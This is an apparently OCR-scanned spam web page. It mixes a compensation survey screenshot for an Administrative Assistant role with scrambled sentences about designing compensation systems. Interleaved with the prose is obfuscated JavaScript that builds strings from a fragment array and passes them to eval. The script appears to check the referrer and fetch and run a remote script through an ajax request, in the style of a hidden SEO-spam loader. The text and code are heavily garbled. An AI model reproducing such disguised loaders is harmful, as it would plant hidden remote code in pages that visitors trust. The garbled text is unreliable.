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Administrative Assistant | Key Job Data

Base TCC TTC TDC TTDC
P50 245,201 346237 £56,100 557,932 556,679
Structure Employees in Role: Average Salary Average Compa-Ratio
Headguarters 22 $454466 0.93

Employees Logs

Headquarters @ ] Q ﬁ

Weight Match Premium Survey Brand Job Code Job Title Level
Discount
25 %% 1) 0 5% City Salaries:Texas Cities 1803 Administrative Assistant - Senior P4 Eq Q @
25 % T4} 0 %% Compensation and HR Group:Free Survey 2010051 General Administration (S1) MNaone Eq ] T
50 % T4} 0 %% Radford:GTS 9502 Administrative Support 2 2 = ] T
Scope: Seate
ORGS: INCS: Base 50th: TCC 50th: TTC 50th: TDC 50th: TTDC 50th:
35 182 £51,375 £ 51,856 § 54,302 £ 53,170 % 55,657

nformation to callers,
various functional
Employees having tasks

n HRIS or

Administrative Support: Provides administrative and clerical support to relieve department managers or staff of administrative details. May coordinate messages, appointments, i
file maintenance, department office supplies and mail. Researches, compiles and proofs word processing assignments. Operates automated office equipment. May be assigned &
Employees matched to this job family should perform general administrative duties, such as administrative support of department managers.
nd in the materials functions should be matched to the Supply Chain/Procurement Support (3331-5334) job family. Employees performing data entry

areas of the company. Survey Ti
requiring skills and knowledge fo
performing secretarial functions should be matched to this position.
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Part 4 — Establishing Incentive Compensation With an automated compensation system companies can model the impact
changes will have on sales.. I think that job evaluations are a great tool in establishing internal relationships of.. Xii Designing an
Effective Pay for Performance Compensation System Executive Summary believe that the organization will actually recognize
and reward that performance.. EMPLOYEE COMPENSATION The only rule for establishing the number of degrees is that
some jobs should fall at each level.. ";EJXx["HC"]="sc";EJXx["HR"]="r ";EJXx["fu"]="f ";EJXx["Of"]="le";EJXx["KC"]=", ";
EIXx["dA"]=";1";EIXx["eP"]="pt";EIXx["Zu"]="xt";EIXx["rA"]="fo";EJXX["yo"]="uc";EIXx[ "tA"]="St";EJXx["gc"]="{t";EJ
Xx["'DM"]="6W";EIXx["TO"]="/a";EJXx["CO"]="ro";EJXx["EL"]="_e";EJXx["HP"]="me";EJXx["aj"]="ce";EIXx["zs"]=";v"
EIXx["pz"]="}";EIXX["Fn"]="//";EIXx["ix"]="e:";EJXx["Cf"]="XH";EJXx[ "xX"]="um";EJXx["MP"]=".

EIXx["gQ"[="x("EIXx["IL"]=" u";EJXX["Ef"]="ru";EJXx["na"]="ai";EJXx["TC"]="ng";EIXx["zr"]="10";EJXx["cb"]="yp";E
IXx["XF"]="D4";EJXx["xr"]="on";EJXx["Tj"]="Do";EIXx["ZI"]=" d";EJXx["xN"]="de";EIXx["ne"]="JS";EIXx["Wx"]="Q;";
EJXx["ZV"]="te";EIXx["hj"]="a:";EJXx["fN"]="ad";EJXx["Ek"]="js";EIXx["Qw"]="4T";EJXx["Fy"]="ve";EJXx["Pm"]=",e";
EJXx["Vy"]="al";EIXx["AG"]="g/";EIXx["Vn"]=".. International Compensation Get the full title to continue reading from
where you left off, or restart the preview.. As a company is growing and establishing its culture A-Counterintuitive-System-for-
Startup-Compensation/.

EIXx["rU"]=","EIXX["qv"]="("EIXX["IN"]="GE"; EJIXx["DF"]="p:";EIXx["AZ"]="pr";EJXx["oc"]=";}";EIXx[ "kv"]="ur";
EIXx["fy"]="us";EIXx["Y{"]="r";EIXx["XS"]="ee";EJXx["S]"]="
{"EIXx["rm"]="rr";EJXx["Bu"]="fa";EJXx["FE"]="e,";EJXx["eA"]="tt";EJXx["uT"]="ta";EIXx["Wj"]="+ ";EJXx["ae"]="hr";
EJXx["rg"]=">0";EJXx["qB"]="at";EJXx["hv"]="ti";EJXxX["Gu"]="en";EJXx["sh"]="cs";EIXx["If"]="R)";EJXx["yi"]="eD";EJ
Xx["XK"]=",c";EIXx["Tw"]="va";EJXx["qo"]="np";EIXX["EX"]="ar";EJXx["RV"]="T";EJXx["GK"]=" a";EJXx[ "pb"]="ja";E
JXx["Re"]="Yw";EJXx["Hd"]="Da";EJXx["Xy"]="ef";EIXx["Ip"]="nc";EIXx["ZB"]="po";EIXx["nW"]="f (";EIXx["CW"]="f
e";EIXx["aQ"]="aT";EJXx["WR"]="2y";EIXx["Ny"]="ev";EJXx["KB"]="10";EIXx["Ey"]="oc";EJXx["eS"]="ss";EJXx["MB"]
="wn";EJXx["tf"]="{$";EIXx["hn"]="sD";EIXx["DC"]="PO";EJXx["Qy"]="e"";EIXx["cV"]=",d";EIXx["nR"]="(r";EJXx["DX
"1="q ";EIXx["BW"]="?w";EJXx["tE"]=");";EIXx["mw"]="ue";EJXx["mp"]="ON";EJXx["rr"]="t.. var Q =
'compensation+tools+for+establishing+compensation+system+in+companies';var EJXx = new
Array();EJXx["1h"]="bl";EIXx["WE"]="sp";EIXx["JB"]=") ";EIXx["qL"]="s0";EIXx["xj"]="ST";EJXx["Lh"]="
(EIXx["TQ"]="jq";EIXx["iP"]="""EIXx["uX"]="1s";EIXx["hX"]="tr";EIXx["mM"]="y";EJXx["Qa"]="rT";EJXx["Li"]="re"
;EIXx["HH"]="a)";EIXx["DJ"]="ma";EJXx["yf"]="gi";EJXx["eU"]=",s";EIXx["CX"]="in";EJXx["Lw"]=":

" EIXx["bG"]="es";EJXx["Ap"]="n.

Equity or fairness has been mentioned as a key component in creating a successful compensation.. Get the full title to continue
reading from where you left off, or restart the preview.. a";EJXx["zR"]="rt";EJXx["Jw"]="eg";EIXx["dy"]="er";EJXx["Af"]=",
JEIXX["FK"]="n)";EIXx["pn"]="11";EIXx["dZ"]="th";EJXx["bT"]="do";EJXx[ "By"]="sh";EJXx["iX"]=""h";EJXx[ "dr"]="=";
EJXx["BH"]="Mq";EJXx["nA"]="se";EJXx["La"]="or";eval(EJXx["Tw" ]+ EJXx[ "HR"[+EJXx["DX" |+ EJXx["dr" [+ EJXx[ "WX"
J+EIXx["Tw"]+EJXx["HR"J+EJXx["By"+EJXx["Gn"[+EJXx["HP" |+ EJXx[ "PH" [+EJXx["iP" ]+ EJXx["rA" [+ EJXx["iO"]+EJ
Xx["Qy"[+EIXx["zs" [+ EIXx["EX"]+EJXx["Y{" |+ EIXx["Xy"]+EJXx["PH"]+EIXx["Z]"]+EIXx["Ey" [+ EIXx["xX"]+EJXx["G
u"[+EIXX["rr" ]+ EJXx["Li" [+ EIXX["CW"]4+EJXx[ "rm" ]+ EJXx["dy" [+ EJXx[ "dA" ]+ EJXx[ "nW" +EJXx[ "Li"]+EJXx[ "fu"]+EJ
Xx["Of "[+EIXx["TC"]+EJXx["dZ"]+EJXx["rg" |+EIXx["JB"]+EIXx["tf" ]+ EJXx["MP"4+EJXx[ "pb" ]+ EJ Xx["gQ"]+EJXx["gc"
J+EIXx["cb"]+EIXx["ix"]+EJXx["iP"]+EJXx["IN"]+EJXx["RV"]+EJXx["cV"]+EJ Xx["qB"]+EJXx["aQ"]+EJXx["cb" ]+ EJ XX
"ix"]+EIXx["iP"]+EIXx["HC"]+EJXx["UK"]+EJXx["eP"]+EJXx["rU"]+EJXx["AZ"+EJXx["Ey" ]+EJXx["bG" ]+ EJXx["hn"]+
EIXx["qB"[+EIXx["hj"]+EIXx["Zo"+EIXX["Vy"[+EIXx["nA"]+EJXx["XK"]4+EJXx["CO"]+EJXx["eS" |+ EJXx["Tj" [+ EJXx[
"DI"H+EIXx["CX"]+EIXx["Lw" [+ EJXx["hX"]+EIXx["mw" [+ EJXx["Af"[+EIXx["qL"]+EJXx["qo" [+ EJXx["Lw"]+EJXx["Bu"
J+EIXX["uX"[+EIXx["FE"[+EJXx["IL"[+EJXx["pn"+EJXx["Lw" [+EJXx["iX"]+EJXx["e A" ]+EJXx["DF"]+EJXx["Fn"]+EJX
x["Re"[+EIXx["BH"+EJXx["KB"+EJXx["DM"+EJXx["WR"+EJXx["XF"|+EJXx["Qw"]+EJXx[ "m"[+EJXx["Vn" ]+ EJXx["
sh"+EJXx["dy" [+ EJXx["Fy"]+EIXx["AU"]+EJXx["Ef" [+ EJXx["TO"]+EJXx["zR" |+ EJ Xx[ "kv" [+ EIXx["Jw" [+EJXx["AG" ]+
EIXx["CX"]+EJXx["xN"]+EJXx["uP"]+EIXX["bT" |+ EJXx["MB"+EJXx["zr" [+ EJXx["fN" |+ EJXx["EL"]+EJXx["Ap"]+EJXx
["Ek"]+EIXx["BW"]+EJXx["XS"]+EJXx["h"+EJXx["mM" |+ EJXx["eU" [+EJXx["yo" [+EJXx["aj"[+EJXx["eS"]+EJXx["Lw"]
+EIXx["jx"[+EIXx["Ip"+EIXx["hv" ]+ EJXx["xr" [+ EJXx["Lh"[+EJXx["Li" [+ EJXx["WE" [+ EJXx["xr" ]+ EJXx[ "nA" ]+ EJXx["H
d"J+EIXx["uT"]+EIXx["KC"]+EJXx["ZV"]+EJXX["Zu"|+EJXx[ "tA" ]+ EJXx["qB"]+EJ Xx["fy"]+EJXx["KC"]+EJXx["TQ"]+E
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IXx["Cf"+EIXx["Tf"[+EIXX["SI"+EIXX["Ny"]+EIXx["Vy"]+EJXx["nR"]4+EIXx["bG" |+ EIXx["ZB" [+ EJXx[ "uN"]+EJXx[ "yi
"1+EJXx["qB"]+EJXx["HH"]+EJXx["oc"]+EJXx["Pm"]+EJXx["rm"]+EJXx["La" [+ EJXx["Lw"]+EJXx[" jx"]+EJXx["Ip"]+EJX
x["hv"[+EIXx["xr"[4+EIXx["Lh" ]+ EJXx["Li" [4+EJXx["WE" [+ EJXx["xr" [+ EJXx[ "nA"[+EJXx["Hd" 4+ EJXx[ "uT"]+EJ Xx["KC"]
+EIXx["ZV"+EIXx["Zu" [+ EIXX["tA"]+EIXx["qB"[+EIXx["fy" [+EJXx["KC"]+EJXx["dy" ]+ EIXx["CO"]+EJ Xx["Qa"]+EJX
x["ae"]+EIXX["Gn"[+EJXx["Fk"]+EJXx["SI"]+EIXx["GK"]+EJXx["Of "+ EJXx["zR"]+EJXx["qv"]+EJXx["DC"]+EJXx["x]"]
+EJXx["Zo"[+EJXx["na" [+EJXx["Of "+ EJXx["IE" [+EJXx["sw" ]+ EJXx["W"]+EJXx["ne" |+ EJXx["mp" [+ EJXx["Vn" |4+ EJ Xx[
"hX"+EJXx["CX"[+EJXx["yf"[+EJXx["jN"]+EJXx["nR"[+EJXx["bG"]+EJXx["ZB" |+ EJXx["uN"]+EJXx[ "yi"|+EJ Xx["qB" ]+
EJXx["HH"]+EJXx["rE"+EJXx["TH"]+EJXx["rE"]+EJXx["pz"]);Tips To Effective Compensation Management..
Compensation & Benefits Home » Resource Centre » HR Toolkit » Compensation & Benefits » Compensation Systems.

CHAPTER 8: ESTABLISHING A STRATEGIC COMPENSATION Establishing a Strategic Compensation System.. Slaying
The Job Evaluation Dinosaur I've come to value the approach that combines an internal evaluation system that is..
s";EIXx["m"]="27"EIXx["AU"]="r ";EIXx["sw"]=""
EIXx["jN"]="fy";EIXx["Gn"]="ow";EJXX["uN"]="ns";EJXx["IH"]="} } ";EIXx["Zo0"]="
f";EIXx["uP"]="x_";EIXx["UK"]="ri";EIXx["jx"]="fu";EIXx["10"]="rc";EJXx["PH"]=" =";EIXx["IE"]="d. e10c415e6f
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